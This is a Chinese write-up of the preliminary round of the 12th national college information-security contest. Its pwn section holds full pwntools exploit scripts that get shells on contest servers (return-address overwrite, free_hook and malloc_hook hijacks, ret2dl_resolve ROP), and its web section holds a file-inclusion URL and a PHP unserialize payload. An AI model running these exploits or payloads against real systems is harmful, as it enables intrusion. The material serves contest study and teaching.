第十二届全国大学生信息安全竞赛初赛writeup

大佬的博客–>传送门

misc

签到

摄像头捕捉到三个人的脸即可

saleae

下载回来一个saleae.logicdata文件,经搜索发现这个saleae的可以打开的文件类型,官网地址–>传送门,打开文件只发现一些波形
1
网上搜索资料看到一篇教程通过xor两条数据流得到信息,上面一条是当上面波形的电平为高电平且下面那条也是高电平时为1,下面那条是低电平则为0,如图
2
最后得到一串数据

011001100110110001100001011001110111101100110001001100100011000000110111001100010011001100111001001101110010110100110001001110010110010000110001001011010011010000111000011001010011011000101101011000100110010100111000011000110010110100110111001110000011010001100010001110000011100101100001001110010011010101100101001100000011011101111101

8个一组得到flag

usbasp

打开文件后在analyzer里选择SPI,设置选项最下面选择enable line is active hight
7
右下面可以明显看到flag导出即可
9

pwn

your-pwn

在函数sub_B35里面,没有对index(v1)进行检查,从而造成任意地址泄露和任意地址更改。直接改返回地址为one_gadget即可

for ( i = 0; i <= 40; ++i )
{
puts("input index");
__isoc99_scanf("%d", &v1);
printf("now value(hex) %x\n", (unsigned int)v4[v1]);
puts("input new value");
__isoc99_scanf("%d", &v2);
v4[v1] = v2;
}

详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60007)
def pass_():
	p.recvuntil("name")
	p.sendline("Team233")
def change(index, addr):
	for i in range(8):
		p.recvuntil("index\n")
		p.sendline(str(index+i))
		p.recvuntil("now value(hex) ")
		data = p.recvn(1)
		#print("data = " + str(data))
		p.recvuntil("input new value\n")
		p.sendline(str(addr))
		addr = addr >> 8
def leak(index):
	addr = ""
	for i in range(8):
		p.recvuntil("index\n")
		p.sendline(str(index+i))
		p.recvuntil("now value(hex) ")
		data = int(p.recvuntil("\n",drop=True),16)
		if data > 300:
			data = data - 0xffffff00
		p.recvuntil("input new value\n")
		p.sendline(str(data))
		addr += chr(data)
	addr = u64(addr)
	return addr
def exp():
	pass_()
	#gdb.attach(p)addr = leak(0x158)
	elf_base = addr - 0xb11
	print '[*] elf_base :',hex(elf_base)
	addr = leak(0x160+0x118)
	libc_base = addr - 0x20830
	one_shot = libc_base + 0xf02a4
	print '[*] one_shot :',hex(one_shot)
	print '[*] libc_base :',hex(libc_base)
	pause()
	change(0x158,one_shot)
	p.sendline("no")
	p.sendline("cat flag")
	p.interactive()
exp()

3

daily

由于是%s打印内 容,会一直打印遇到\x00才会停止,而且add的时候通过read读入没有写入字符串后缀,所以可以利用这一点可以泄露libc地址和heap地址。泄露利用如下:

create(0x60,"a"*0x20)#0
create(0x60,"a"*0x20)#1
create(0x60,"b"*0x20)#2
delete(0)
delete(1)
create(0x60,"a")#0
show()
p.recvuntil("0 : a")
data = "\x00"+p.recvuntil("2",drop=True)
heap = u64(data.ljust(8,"\x00"))
print "[*]heap : ", hex(heap)
create(0x100,"a"*0x20)#1 
create(0x100,"a"*0x20)#3 
delete(1)
create(0x20,"a"*0x20)#1
create(0xd0,"a"*8)#4
show()
p.recvuntil("4 : aaaaaaaa")
data = p.recvn(6) + "\x00\x00"
libc_base = u64(data) - 0x3c4b78

然后利用free的时候没有检查index(v1),漏洞点如下程序部分代码,造成UAF分配到bss上的chunk_list,然后改free就可以了 。

printf("Please enter the index of daily:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( chunk[v1].ptr )
{
free((void *)chunk[v1].ptr);
chunk[v1].ptr = 0LL;
LODWORD(chunk[v1].len) = 0;
puts("remove successful!!");
--chunk_num;
}

然后利用Double free得到bss段上的chunk_list,然后控制chunk,实现任意地址写,然后我们写free_hook地址为system,再free的时候就可以getshell了。在这之前,我们尝试了申请到malloc_hook前面然后把malloc_hoook覆盖为one_gadget,但是没有一个one_gadget可以成功,主要是因为条件没有满足,后来就直接free_hook了。详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60006)

def show():
	p.recvuntil(":")
	p.sendline("1") 

def create(lens,content):
	p.recvuntil(":")
	p.sendline("2") 
	p.recvuntil(":")
	p.sendline(str(lens)) 
	p.recv()
	p.send(content)

def change(index,content):
	p.recvuntil(":")
	p.sendline("3") 
	p.recvuntil(":")
	p.sendline(str(index)) 
	p.recv()
	p.send(content)

def delete(index):
	p.recvuntil(":")
	p.sendline("4") 
	p.recvuntil(":")
	p.sendline(str(index)) 
chunk_list = 0x602060

def exp(): 
	create(0x60,"a"*0x20)#0
	create(0x60,"a"*0x20)#1
	create(0x60,"b"*0x20)#2
	delete(0)
	delete(1)
	create(0x60,"a")#0
	show()
	p.recvuntil("0 : a")
	data = "\x00"+p.recvuntil("2",drop=True)
	heap = u64(data.ljust(8,"\x00"))
	print "[*]heap : ", hex(heap)
	create(0x100,"a"*0x20)#1
	create(0x100,"a"*0x20)#3
	delete(1)
	create(0x20,"a"*0x20)#1
	create(0xd0,"a"*8)#4
	show()
	p.recvuntil("4 : aaaaaaaa")
	data = p.recvn(6) + "\x00\x00"
	libc_base = u64(data) - 0x3c4b78
	malloc_hook = libc_base + 0x3c4b10
	one_shot = libc_base + 0xf02a4
	free_hook = libc_base + 0x3c67a8
	system = libc_base + 0x45390
	print '[*]libc_base : ',hex(libc_base)
	print '[*]malloc_hook : ',hex(malloc_hook)
	print '[*]free_hook : ',hex(free_hook)
	print '[*]one_shot : ',hex(one_shot)
	print '[*]system : ',hex(system)
	index = (heap - chunk_list + 8)/0x10 + 15
	print '[*]index : ',hex(index)
	change(2,"a"*8+p64(heap+0x10))
	create(0x71,"h"*0x71)#5
	create(0x60,"e"*0x60) #6
	create(0x60,"b"*0x60) #7
	#gdb.attach(p)
	delete(6)
	delete(7)
	delete(index)
	create(0x60,p64(0x6020a8)) #6
	create(0x60,"c"*0x60) #7
	create(0x60,"/bin/sh\x00") #8
	payload = p64(free_hook) + p64(0x20) + p64(heap+0x10) payload = payload.ljust(0x60,"\x00")
	create(0x60, payload) #9
	show()
	change(5,p64(system))
	delete(6)
	p.recv()
	#gdb.attach(p)
	p.interactive() 

exp()

最后成功 getshell
4

babypwn

直接read读入0x100直接造成栈溢出,但是这题的难点在于没有泄露函数,不能直接return to libc,所以这里利用ret2_dl_runtime_resolve,之前做过0ctf2018的babystack 跟这个类似,先是尝试了roputils库实现,后来发现有点问题总是调不对,后来直接手工干了一波。操作如下:

# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote(ip,port)
elf = ELF('./pwn')
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
pop_ebp_ret = 0x080485db
ppp_ret = 0x080485d9
pp_ebp_ret = 0x080485da
leave_ret = 0x08048448
stack_size = 0x800
bss_addr = 0x0804a040 #readelf -S babystack | grep ".bss" base_stage = bss_addr + stack_size
plt_0 = 0x8048380 # objdump -d -j .plt babystack
rel_plt = 0x804833c # objdump -s -j .rel.plt babystack index_offset = (base_stage + 28) - rel_plt
alarm_got = elf.got['alarm']
print "alarm_got: ",hex(alarm_got)
print "alarm_plt: ",hex(alarm_plt)
print "read_plt: ",hex(read_plt)
dynsym = 0x80481DC
dynstr = 0x804827C
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = index_dynsym << 8 | 0x7
fake_reloc = p32(alarm_got) + p32(r_info)
st_name = fake_sym_addr + 0x10 - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'a'*0x28 + p32(bss_addr)
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(36)
#raw_input("go:")
p.send(payload)
#fake stack 1 bss_addr
payload1 = 'aaaa' #pop ebp
payload1 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100) payload1 += p32(pop_ebp_ret) + p32(base_stage) #fake stack again
payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
p.send(payload1)
cmd = "/bin/sh"
#fake stack 2 base_stage
payload2 = 'bbbb'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'aaaa'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc #base_stage+28
payload2 += 'b' * align
payload2 += fake_sym #base_stage+36
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += cmd +'\x00'
#payload2 += 'a' * (100 - len(payload2))
print len(payload2)
sleep(1)
p.sendline(payload2)
#p.sendline("icq0030af22ece42d03523c08138525f")
p.interactive()

22

double

5
由于这个对比,只要输入的data相同则不会分配堆块给data,造成两个指针指向同一个data。只要申请两个相同内容大小为smallbinfree掉 一个指针,show另一个指针即可获得libc的地址。同理只要free掉其中一个,在对另一个相同指向的指针进行edit,就可以改变fd。将fd改成malloc_hook,再将malloc_hook的值改成one_gadget即可getshell。
详细脚本如下:

from pwn import *
#context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
local = 0
if local:
	p = process("./pwn")
else:
	p = remote("39.97.228.196",60004)

def create(content):
	p.recvuntil("> ")
	p.sendline("1")
	sleep(0.1)
	p.sendline(content)

def show(index):
	p.recvuntil("> ")
	p.sendline("2")
	p.recv()
	p.sendline(str(index))

def edit(index,content):
	p.recvuntil("> ")
	p.sendline("3")
	p.recv()
	p.sendline(str(index))
	sleep(0.1)
	p.sendline(content)

def free(index):
	p.recvuntil("> ")
	p.sendline("4")
	p.recv()
	p.sendline(str(index))

def exp(): 
	create("1"*0x60) #0
	create("1"*0x60) #1
	create("2"*0x60) #2
	create("3"*0x80) #3
	create("3"*0x80) #4
	free(3)
	show(4)
	if local:
		pass
	else:
		pass
		#p.recvuntil("Info index: ")
		#p.recvuntil("Info index: ")
	data = u64(p.recvuntil("\n",drop=True)+"\x00\x00") libc_base = data - 0x3c4b78
	malloc_hook = libc_base + 0x3c4b10
	one_shot = libc_base + 0xf02a4 print("malloc_hook = " + str(hex(malloc_hook))) print("one_shot = " + str(hex(one_shot))) free(1)
	free(2)
	edit(0,p64(malloc_hook - 19))
	create("4"*0x60)
	create("5"*0x60)
	payload = "a"*3 + p64(one_shot)
	payload = payload.ljust(0x60,"\x00")
	create(payload)
	create("icq0030af22ece42d03523c08138525f")
	p.interactive()
exp()

6

web

justSoso

http://d466a1d4c1214b3181516b834f0de419f413fd793ae942d0.changame.ichunqiu.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过文件包含拿到hint.php和index.php的源码

//index.php
<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

//hint.php
<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
		$this->file = $file;
		$this->token_flag = $this->token = md5(rand(1,10000));
    }
    
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}
?

parse_url存在绕过的漏洞,例如:http://127.0.0.1///index.php
构造payload

<?php
class Handle{
    private $handle;


    public function __construct($handle) {
        $this->handle = $handle;


    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}


class Flag{
    public $file;
    function __construct($file){
        $this->file = $file;
    }
    public function getFlag(){
        if(isset($this->file)){
            echo @highlight_file($this->file,true);
        }
    }
}

$flag = new Flag('flag.php');
$flag ->token = &$flag -> token_flag;
$exp = new Handle($flag);
echo urlencode(serialize($exp)).PHP_EOL;
?>

得到以下payload

O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

urldecode:
O:6:"Handle":1:{s:14:".Handle.handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:10:"token_flag";N;s:5:"token";R:4;}}

还要把一个的1改为2,不然会跳进Waking up函数

O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22token_flag%22%3BN%3Bs%3A5%3A%22token%22%3BR%3A4%3B%7D%7D

urldecode:
O:6:"Handle":2:{s:14:".Handle.handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:10:"token_flag";N;s:5:"token";R:4;}}

8

crypto

puzzle

question-0

10

a1:0xfa6

a2:0xbed

a3:0x9c7

a4:0xa00

part1

看到这三个数都是素数,猜想part1也可能是素数。google到如下的素数表
11
猜测part1所在位置,根据素数之间的间隔相等的原则,猜出part1为26365399

part2

12
脚本也可解:

import sympy as sy
x = sy.symbols('x')
print(sy.integrate(sy.exp(x)*pow(4 + sy.exp(x),2), (x, float(0), sy.log(2)))) 
rerult : 30.3333333333333
(1+30.33333339*31+7+1)=100
part2 = (1+91+7+1)*77 =7700
hex(7700)=0x1e14

part3

13
14
part3 = 0x48d0

part4

15
16
part 4 =hex(40320)=0x9d80

warmup

本题是AES_CTR加密,而这个加密方式就是分组对明文进行异或,因为在同一次通信中其中的key和计数器不变,所以明文异或的密钥不会变,因此我们可以在通信过程可以通过输入不同的填充获得密钥。经过测试可以发现,32 个一个分组,flag有两个分组多一些,可以先填充5个让flag加填充满足有3_32个,得到第一个需要的密文data1,然后填充5+48获得第二个密文,第二个密文(data2)有6_32个bit。
则详细脚本如下:

data1 = "aefdd88c71194ba242a1e45c7a03f1e8715e11c3566607ee614c8cd4541f3688f0e5a35146b5cca393c8432dafdccee7" 

data2 = "aefdd88c711e46a244bbbc0d2d51f1bb26085d90026603a234188c86184734dff4a9f40244e4c8a0c3cd407eab84d287ec9ece135f9a2a6bc7d427cd18e7c7995985df9d61d1b697d5472b073c27a6b0d5245917d3b1965248a6c228d6f260d4"
s1 = [data1[0:32],data1[32:32*2],data1[32*2:32*3]]
s2 = [data2[0:32],data2[32:32*2],data2[32*2:32*3],data2[32*3:32*4],data2[32*4:32*5], data2[32*5:32*6]]
ming="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
minghex=ming.encode("hex")
key1=int(s1[0],16)^int(minghex,16)
key2=int(s1[1],16)^int(minghex,16)
key3=int(s1[2],16)^int(minghex,16)
minghex0=int(s2[0],16)^key1
minghex1=int(s2[1],16)^key2
minghex2=int(s2[2],16)^key3
print hex(minghex0)[2:-1].decode("hex")
print hex(minghex1)[2:-1].decode("hex")
print hex(minghex2)[2:-1].decode("hex")

17

Asymmetric

看了一 下题目给的脚本,其实就是普通的RSA题 ,主要还是把n分解
18
剩下就 很简单了
19

Re

EasyGo

查看可执行文件格式
20
程序为Go语言编写,内部函数较为复杂,直接IDA动态调试,定位到sub_495150函数,执行完sub_4886B0,程序打印了字符串
21
sub_48EB00中, 程序调用了输入函数,继续执行,发现函数将一串字符串地址放到了rax,并在接下来的几个CALL中,对其进行了一些操作,这里没有仔细跟进,由于在sub_47E620函数处存在跳转,猜测这里可能为相关的check函数,重点关注其所对应的内存区域,可发现,执行完sub_47E620函数后,可以在内存中直接拿到flag